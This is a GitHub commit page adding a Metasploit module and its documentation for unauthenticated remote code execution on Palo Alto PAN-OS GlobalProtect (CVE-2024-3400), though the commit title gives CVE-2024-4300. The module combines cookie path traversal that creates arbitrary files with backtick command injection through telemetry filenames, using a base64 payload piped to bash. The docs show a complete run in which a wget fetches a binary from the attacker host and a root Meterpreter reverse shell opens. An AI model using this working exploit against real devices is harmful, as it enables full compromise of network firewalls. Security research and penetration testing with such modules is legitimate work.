Skip to content

Commit 4733d1d

Browse files
committed
Land rapid7#19101, Exploit module for CVE-2024-4300 - Palo Alto Networks PAN-OS
Merge branch 'land-19101' into upstream-master
2 parents 3697d4c + 2ad13ac commit 4733d1d

File tree

2 files changed

+255
-0
lines changed

2 files changed

+255
-0
lines changed
Lines changed: 112 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,112 @@
1+
## Vulnerable Application
2+
This module exploits two vulnerabilities in Palo Alto Networks PAN-OS that
3+
allow an unauthenticated attacker to create arbitrarily named files and execute
4+
shell commands. Configuration requirements are PAN-OS with GlobalProtect Gateway or
5+
GlobalProtect Portal enabled and telemetry collection on (default). Affected versions
6+
include < 11.1.0-h3, < 11.1.1-h1, < 11.1.2-h3, < 11.0.2-h4, < 11.0.3-h10, < 11.0.4-h1,
7+
< 10.2.5-h6, < 10.2.6-h3, < 10.2.8-h3, and < 10.2.9-h1. Payloads may take up to
8+
one hour to execute, depending on how often the telemetry service is set to run.
9+
10+
For a technical analysis of the vulnerability, read our [Rapid7 Analysis](https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis).
11+
12+
## Testing
13+
Boot a vulnerable PAN-OS VM or device, then authenticate to the management web service with default credentials. From the
14+
web dashboard, configure a GlobalProtect [Portal](https://docs.paloaltonetworks.com/globalprotect/10-1/globalprotect-admin/globalprotect-portals/set-up-access-to-the-globalprotect-portal)
15+
and/or [Gateway](https://docs.paloaltonetworks.com/globalprotect/10-1/globalprotect-admin/globalprotect-gateways/configure-a-globalprotect-gateway).
16+
With either or both started, the `gpsvc` service will begin serving an HTTPS service on port 443 for the second
17+
network interface. Confirm that the web service presents a Palo Alto Networks login page when viewed. This web application
18+
is the target of the exploit, and the '/global-protect/login.esp' page should be accessible.
19+
20+
The exploit has been tested against PAN-OS 10.2.9, and it should also be effective against other similarly-configured 10.2, 11.0,
21+
and 11.1 versions.
22+
23+
## Verification Steps
24+
25+
1. Start msfconsole
26+
2. `use exploit/linux/http/panos_telemetry_cmd_exec`
27+
3. `set RHOST <TARGET_IP_ADDRESS>`
28+
4. `set payload cmd/linux/http/x64/meterpreter_reverse_tcp`
29+
5. `set LHOST eth0`
30+
6. `check`
31+
7. `exploit`
32+
33+
## Scenarios
34+
35+
### Linux Command
36+
37+
Note: Ensure the target is vulnerable to unauthenticated file creation with the `check` command.
38+
39+
Note: Since it can take up to one hour to establish code execution, the listener should be left running for that period.
40+
41+
Note: In the standard PAN-OS configuration, the payload is delivered to the GlobalProtect interface IP, but the shell will return via a different PAN-OS management interface IP.
42+
43+
```
44+
msf6 > use exploit/linux/http/panos_telemetry_cmd_exec
45+
[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp
46+
msf6 exploit(linux/http/panos_telemetry_cmd_exec) > show options
47+
48+
Module options (exploit/linux/http/panos_telemetry_cmd_exec):
49+
50+
Name Current Setting Required Description
51+
---- --------------- -------- -----------
52+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
53+
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
54+
RPORT 443 yes The target port (TCP)
55+
SSL true no Negotiate SSL/TLS for outgoing connections
56+
TARGETURI /global-protect/login.esp yes An existing web application endpoint
57+
VHOST no HTTP server virtual host
58+
59+
60+
Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
61+
62+
Name Current Setting Required Description
63+
---- --------------- -------- -----------
64+
FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
65+
FETCH_DELETE false yes Attempt to delete the binary after execution
66+
FETCH_FILENAME EkcxbboZMyD no Name to use on remote system when storing payload; cannot contain spaces or slashes
67+
FETCH_SRVHOST no Local IP to use for serving payload
68+
FETCH_SRVPORT 8080 yes Local port to use for serving payload
69+
FETCH_URIPATH no Local URI to use for serving payload
70+
FETCH_WRITABLE_DIR /var/tmp yes Remote writable dir to store payload; cannot contain spaces
71+
LHOST yes The listen address (an interface may be specified)
72+
LPORT 4444 yes The listen port
73+
74+
75+
Exploit target:
76+
77+
Id Name
78+
-- ----
79+
0 Default
80+
81+
82+
83+
View the full module info with the info, or info -d command.
84+
85+
msf6 exploit(linux/http/panos_telemetry_cmd_exec) > set RHOSTS 192.168.50.226
86+
RHOSTS => 192.168.50.226
87+
msf6 exploit(linux/http/panos_telemetry_cmd_exec) > set LHOST 192.168.50.25
88+
LHOST => 192.168.50.25
89+
msf6 exploit(linux/http/panos_telemetry_cmd_exec) > set LPORT 8585
90+
LPORT => 8585
91+
msf6 exploit(linux/http/panos_telemetry_cmd_exec) > check
92+
[+] 192.168.50.226:443 - The target is vulnerable. Arbitrary file write succeeded: /var/appweb/sslvpndocs/global-protect/portal/fonts/glyphicons-ipteqmbl-regular.woff2 NOTE: This file will not be deleted
93+
msf6 exploit(linux/http/panos_telemetry_cmd_exec) > exploit
94+
95+
[*] Started reverse TCP handler on 192.168.50.25:8585
96+
[*] Running automatic check ("set AutoCheck false" to disable)
97+
[+] The target is vulnerable. Arbitrary file write succeeded: /var/appweb/sslvpndocs/global-protect/portal/fonts/glyphicons-ikxrpbmq-regular.woff2 NOTE: This file will not be deleted
98+
[*] Depending on the PAN-OS version, it may take the telemetry service up to one hour to execute the payload
99+
[*] Though exploitation of the arbitrary file creation vulnerability succeeded, command injection will fail if the default telemetry service has been disabled
100+
[*] Meterpreter session 1 opened (192.168.50.25:8585 -> 192.168.50.216:48310) at 2024-04-18 14:53:09 -0500
101+
[!] This exploit may require manual cleanup of '/opt/panlogs/tmp/device_telemetry/minute/lyne`echo${IFS}-n${IFS}d2dldCAtcU8gL3Zhci90bXAvdWdWZlhXUnhWIGh0dHA6Ly8xOTIuMTY4LjUwLjI1OjgwODAvcUpPXzJ2MUFPVkRIc2hsVVIyRHVzQTsgY2htb2QgK3ggL3Zhci90bXAvdWdWZlhXUnhWOyAvdmFyL3RtcC91Z1ZmWFdSeFYgJg==|base64${IFS}-d|bash${IFS}-`' on the target
102+
103+
meterpreter > getuid
104+
Server username: root
105+
meterpreter > sysinfo
106+
Computer : 192.168.50.216
107+
OS : CentOS 8.3.2011 (Linux 4.18.0-240.1.1.20.pan.x86_64)
108+
Architecture : x64
109+
BuildTuple : x86_64-linux-musl
110+
Meterpreter : x64/linux
111+
meterpreter >
112+
```
Lines changed: 143 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,143 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Exploit::FileDropper
11+
prepend Msf::Exploit::Remote::AutoCheck
12+
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'Palo Alto Networks PAN-OS Unauthenticated Remote Code Execution',
18+
'Description' => %q{
19+
This module exploits two vulnerabilities in Palo Alto Networks PAN-OS that
20+
allow an unauthenticated attacker to create arbitrarily named files and execute
21+
shell commands. Configuration requirements are PAN-OS with GlobalProtect Gateway or
22+
GlobalProtect Portal enabled and telemetry collection on (default). Affected versions
23+
include < 11.1.0-h3, < 11.1.1-h1, < 11.1.2-h3, < 11.0.2-h4, < 11.0.3-h10, < 11.0.4-h1,
24+
< 10.2.5-h6, < 10.2.6-h3, < 10.2.8-h3, and < 10.2.9-h1. Payloads may take up to
25+
one hour to execute, depending on how often the telemetry service is set to run.
26+
},
27+
'License' => MSF_LICENSE,
28+
'Author' => [
29+
'remmons-r7', # Metasploit module
30+
'sfewer-r7' # Metasploit module
31+
],
32+
'References' => [
33+
['CVE', '2024-3400'], # At the time of announcement, both vulnerabilities were assigned one CVE identifier
34+
['URL', 'https://security.paloaltonetworks.com/CVE-2024-3400'], # Vendor Advisory
35+
['URL', 'https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/'], # Initial Volexity report of the 0day exploitation
36+
['URL', 'https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis'] # Rapid7 Analysis
37+
],
38+
'DisclosureDate' => '2024-04-12',
39+
'Platform' => [ 'linux', 'unix' ],
40+
'Arch' => [ARCH_CMD],
41+
'Privileged' => true, # Executes as root on Linux
42+
'Targets' => [ [ 'Default', {} ] ],
43+
'DefaultOptions' => {
44+
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp',
45+
'FETCH_COMMAND' => 'WGET',
46+
'RPORT' => 443,
47+
'SSL' => true,
48+
'FETCH_WRITABLE_DIR' => '/var/tmp',
49+
'WfsDelay' => 3600 # 1h, since telemetry service cronjob can take up to an hour
50+
},
51+
'DefaultTarget' => 0,
52+
'Notes' => {
53+
'Stability' => [CRASH_SAFE],
54+
'Reliability' => [REPEATABLE_SESSION],
55+
'SideEffects' => [
56+
IOC_IN_LOGS,
57+
# The /var/log/pan/gpsvc.log file will log an unmarshal failure message for every malformed session created
58+
# The NGINX frontend web server, which proxies requests to the GlobalProtect service, will log client IPs in /var/log/nginx/sslvpn_access.log
59+
# Similarly, the log file /var/log/pan/sslvpn-access/sslvpn-access.log will also contain a log of the HTTP requests
60+
# The "device_telemetry_*.log" files in /var/log/pan will log the command being injected
61+
ARTIFACTS_ON_DISK
62+
# Several 0 length files are created in the following directories during checks and exploitation:
63+
# - /opt/panlogs/tmp/device_telemetry/hour/
64+
# - /opt/panlogs/tmp/device_telemetry/minute/
65+
# - /var/appweb/sslvpndocs/global-protect/portal/fonts/
66+
]
67+
}
68+
)
69+
)
70+
71+
register_options(
72+
[
73+
OptString.new('TARGETURI', [true, 'An existing web application endpoint', '/global-protect/login.esp']),
74+
]
75+
)
76+
end
77+
78+
def check
79+
# Try to create a new empty file in an accessible directory with the exploit primitive
80+
# This file name was chosen because an extension in (css|js|eot|woff|woff2|ttf) is required for correct NGINX routing, and similarly named files already exist in the 'fonts' directory
81+
file_check_name = "glyphicons-#{Rex::Text.rand_text_alpha_lower(8)}-regular.woff2"
82+
touch_file("/var/appweb/sslvpndocs/global-protect/portal/fonts/#{file_check_name}")
83+
84+
# Access that file and a file that doesn't exist to confirm they return 403 and 404, respectively
85+
res_check_created = send_request_cgi(
86+
'method' => 'GET',
87+
'uri' => normalize_uri('global-protect', 'portal', 'fonts', file_check_name)
88+
)
89+
90+
return CheckCode::Unknown('Connection failed') unless res_check_created
91+
92+
res_check_not_created = send_request_cgi(
93+
'method' => 'GET',
94+
'uri' => normalize_uri('global-protect', 'portal', 'fonts', "X#{file_check_name}")
95+
)
96+
97+
return CheckCode::Unknown('Connection failed') unless res_check_not_created
98+
99+
if (res_check_created.code != 403) || (res_check_not_created.code != 404)
100+
return CheckCode::Safe('Arbitrary file write did not succeed')
101+
end
102+
103+
CheckCode::Vulnerable("Arbitrary file write succeeded: /var/appweb/sslvpndocs/global-protect/portal/fonts/#{file_check_name} NOTE: This file will not be deleted")
104+
end
105+
106+
def touch_file(file)
107+
# Exploit primitive similar to `touch`, creating an empty file owned by root in the specified location
108+
fail_with(Failure::BadConfig, 'Semicolon cannot be present in file name, due to the cookie injection context') if file.include? ';'
109+
110+
send_request_cgi(
111+
'method' => 'GET',
112+
'uri' => normalize_uri(target_uri.path),
113+
'headers' => {
114+
'Cookie' => "SESSID=./../../../..#{file}"
115+
}
116+
)
117+
end
118+
119+
def exploit
120+
# Encode the shell command payload as base64, then embed it in the appropriate exploitation context
121+
# Since payloads cannot contain spaces, ${IFS} is used as a separator
122+
cmd = "echo${IFS}-n${IFS}#{Rex::Text.encode_base64(payload.encoded)}|base64${IFS}-d|bash${IFS}-"
123+
124+
# Create maliciously named files in both telemetry directories that might be used by affected versions
125+
# Both files are necessary, since it seems that some PAN-OS versions only execute payloads in 'hour' and others use 'minute'.
126+
# It's possible that the payload will execute twice, but we've only observed one location working during testing
127+
files = [
128+
"/opt/panlogs/tmp/device_telemetry/hour/#{Rex::Text.rand_text_alpha_lower(4)}`#{cmd}`",
129+
"/opt/panlogs/tmp/device_telemetry/minute/#{Rex::Text.rand_text_alpha_lower(4)}`#{cmd}`"
130+
]
131+
132+
files.each do |file_path|
133+
vprint_status("Creating file at #{file_path}")
134+
touch_file(file_path)
135+
136+
# Must register for clean up here instead of within touch_file, since touch_file is used in the check
137+
register_file_for_cleanup(file_path)
138+
end
139+
140+
print_status('Depending on the PAN-OS version, it may take the telemetry service up to one hour to execute the payload')
141+
print_status('Though exploitation of the arbitrary file creation vulnerability succeeded, command injection will fail if the default telemetry service has been disabled')
142+
end
143+
end

0 commit comments

Comments
 (0)